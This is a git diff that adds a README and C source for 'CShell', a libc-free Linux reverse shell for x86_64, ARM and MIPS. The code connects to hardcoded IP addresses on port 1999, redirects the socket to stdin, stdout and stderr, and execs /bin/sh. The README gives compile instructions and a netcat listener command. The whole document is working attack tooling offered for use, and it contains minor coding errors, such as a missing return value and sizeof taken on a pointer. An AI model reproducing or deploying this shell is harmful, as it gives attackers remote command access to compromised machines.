diff --git a/README.md b/README.md index 441acdd..ee762c0 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,33 @@ -# Cshell +# CShell +a reverse shell in C made without using libc at all -a reverse shell written in C without using stdlib or libc \ No newline at end of file +## features +1- doesnt use libc at all +2- works on X86 and ARM32 and ARM64 (and untested support for MIPS) +3- can use multiple servers +## how to set up +1- from the project root, run +```Bash +gcc -nostdlib -o bcshell bcdshell.c +``` +for additional debug output, run +```Bash +gcc -nostdlib -o bcshell bcdshell.c -DDEBUG +``` +to define the DEBUG macro +make sure to put -nostdlib as it has no reliance on libc. +2- on the server, use netcat with +```Bash +nc -lvp 1999 +``` +3- on the client, run the binary +```Bash +./bcshell +``` +and see the shell and run it on the server +## notes +1- supports Linux +2- supports an actual interactive, stateful shell to /bin/sh +3- binary size is less than 20KB +4- works on ANY linux device even without libc at all +5- only supports IPs, not domains \ No newline at end of file diff --git a/bcdshell.c b/bcdshell.c new file mode 100644 index 0000000..f04cbf4 --- /dev/null +++ b/bcdshell.c @@ -0,0 +1,191 @@ +/* +NO STDLIB reverse shell +supports X86_64, ARM, ARM64 +CAN USE MULTIPLE SERVERS +to compile: +gcc -nostdlib -o bcshell bcdshell.c +(yes, it doesnt use libc, so itll work on a pure linux system with just TCP and syscalls) +to run on the server: +nc -lvp 1999 +*/ +#define AF_INET 2 +#define SOCK_STREAM 1 +#if defined (__x86_64__) // the syscall numbers on x86_64 +#define SYS_socket 41 +#define SYS_connect 42 +#define SYS_write 1 +#define SYS_exit 60 +#define SYS_fork 57 +#define SYS_execve 59 +#define SYS_pipe 22 +#define SYS_read 0 +#define SYS_close 3 +#define SYS_dup2 33 +#define SYS_wait4 61 +#define SYS_read 0 +#elif defined(__arm__) // the syscall numbers on 32 bit ARM +#define SYS_read 3 +#define SYS_write 4 +#define SYS_close 6 +#define SYS_pipe 42 +#define SYS_dup2 63 +#define SYS_socket 281 +#define SYS_connect 283 +#define SYS_fork 2 +#define SYS_execve 11 +#define SYS_exit 1 +#define SYS_wait4 114 + +#elif defined(__aarch64__) //the syscall numbers on 64-bit ARM +#define SYS_read 63 +#define SYS_write 64 +#define SYS_close 57 +#define SYS_pipe 59 +#define SYS_dup2 33 // dup3 is 292, but dup2 is kept for compatibility +#define SYS_socket 198 +#define SYS_connect 203 +#define SYS_fork 220 // clone is used instead of fork +#define SYS_execve 221 +#define SYS_exit 93 +#define SYS_wait4 260 +#elif defined(__mips__) +#define SYS_read 4003 +#define SYS_write 4004 +#define SYS_close 4006 +#define SYS_pipe 4042 +#define SYS_dup2 4063 +#define SYS_wait4 4114 +#define SYS_exit 4001 +#define SYS_fork 4002 +#define SYS_execve 4011 +#define SYS_socket 4183 +#define SYS_connect 4184 +#endif +#define CMD_SHELL "/bin/sh" +struct sockaddr_in { + unsigned short sin_family; + unsigned short sin_port; + unsigned int sin_addr; + unsigned char pad[8]; +}; + //unsigned char pad[8]; +// Minimal syscall shim for x86-64, it KINDA works tho +#if defined (__x86_64__) +static long my_syscall(long n, long a1, long a2, long a3, + long a4, long a5, long a6) { + long ret; + register long r10 asm("r10") = a4; + register long r8 asm("r8") = a5; + register long r9 asm("r9") = a6; + asm volatile("syscall" + : "=a"(ret) + : "a"(n), "D"(a1), "S"(a2), "d"(a3), + "r"(r10), "r"(r8), "r"(r9) + : "rcx", "r11", "memory"); + return ret; +} +#elif defined(__arm__) +static inline long my_syscall(long n, long a1, long a2, long a3, + long a4, long a5, long a6) { + register long r0 asm("r0") = a1; + register long r1 asm("r1") = a2; + register long r2 asm("r2") = a3; + register long r3 asm("r3") = a4; + register long r4 asm("r4") = a5; + register long r5 asm("r5") = a6; + register long r7 asm("r7") = n; + asm volatile("swi 0" + : "=r"(r0) + : "r"(r0), "r"(r1), "r"(r2), "r"(r3), + "r"(r4), "r"(r5), "r"(r7) + : "memory"); + return r0; +} +#elif defined(__aarch64__) +static inline long my_syscall(long n, long a1, long a2, long a3, + long a4, long a5, long a6) { + register long x0 asm("x0") = a1; + register long x1 asm("x1") = a2; + register long x2 asm("x2") = a3; + register long x3 asm("x3") = a4; + register long x4 asm("x4") = a5; + register long x5 asm("x5") = a6; + register long x8 asm("x8") = n; + asm volatile("svc 0" + : "+r"(x0) + : "r"(x1), "r"(x2), "r"(x3), + "r"(x4), "r"(x5), "r"(x8) + : "memory"); + return x0; +} +#elif defined (__mips__) +static long my_syscall(long n, long a1, long a2, long a3, + long a4, long a5, long a6) { + long ret; + asm volatile ( + "subu $sp, $sp, 16\n\t" + "sw %5, 0($sp)\n\t" + "sw %6, 4($sp)\n\t" + "syscall\n\t" + "addiu $sp, $sp, 16\n\t" + : "=v"(ret) + : "v"(n), "r"(a1), "r"(a2), "r"(a3), "r"(a4), "r"(a5), "r"(a6) + : "$a0", "$a1", "$a2", "$a3", "$sp", "memory" + ); + return ret; +} +#endif +void start_shell(int sock); +void print(const char *msg); +int create_socket(); +void cleanup(int exitcode); +void _start() { // the first function to run, also the true entry point +struct sockaddr_in servers[] = { + {AF_INET, __builtin_bswap16(1999), 0x0100007F, {0}}, // 127.0.0.1 on port 1999 + {AF_INET, __builtin_bswap16(1999), 0xC0A80001, {0}}, // 192.168.0.1 on port 1999 + {AF_INET, __builtin_bswap16(1999), 0x0A000001, {0}}, // 10.0.0.1 on port 1999 +}; +int sock = create_socket(); +for (int i = 0; i < sizeof(servers)/sizeof(servers[0]); i++) { + long ret = my_syscall(SYS_connect, sock, (long)&servers[i], sizeof(servers[i]), 0,0,0); + if (ret == 0) { + // success + #ifdef DEBUG + const char *msg = "successfully connected!\n"; // dont know why it only prints success + print(msg); + #endif + start_shell(sock); + break; + } + #ifdef DEBUG + else { + const char *failmsg = "fail\n"; + print(failmsg); +} +#endif +} + cleanup(0); +} +void start_shell(int sock) { + // Redirect socket to stdin, stdout, stderr so we get a true interactive terminal + my_syscall(SYS_dup2, sock, 0,0,0,0,0); + my_syscall(SYS_dup2, sock, 1,0,0,0,0); + my_syscall(SYS_dup2, sock, 2,0,0,0,0); + + // Exec a persistent shell for a real terminal experience + const char *argv[] = { CMD_SHELL, 0 }; + const char *envp[] = { 0 }; + my_syscall(SYS_execve, (long)CMD_SHELL, (long)argv, (long)envp, 0,0,0); + // If exec fails, cleanup + cleanup(1); +} +void print(const char *msg) { + my_syscall(SYS_write, 1, (long)msg, sizeof(msg)-1, 0, 0, 0); + return; +} +int create_socket() { + my_syscall(SYS_socket, AF_INET, SOCK_STREAM, 0,0,0,0); +} +void cleanup(int exitcode) { // ye we NEED WRAPPERS, CUZ MANUALLY USING MY_SYSCALL IS GONNA BE A PAIN! + my_syscall(SYS_exit, exitcode,0,0,0,0,0); +} \ No newline at end of file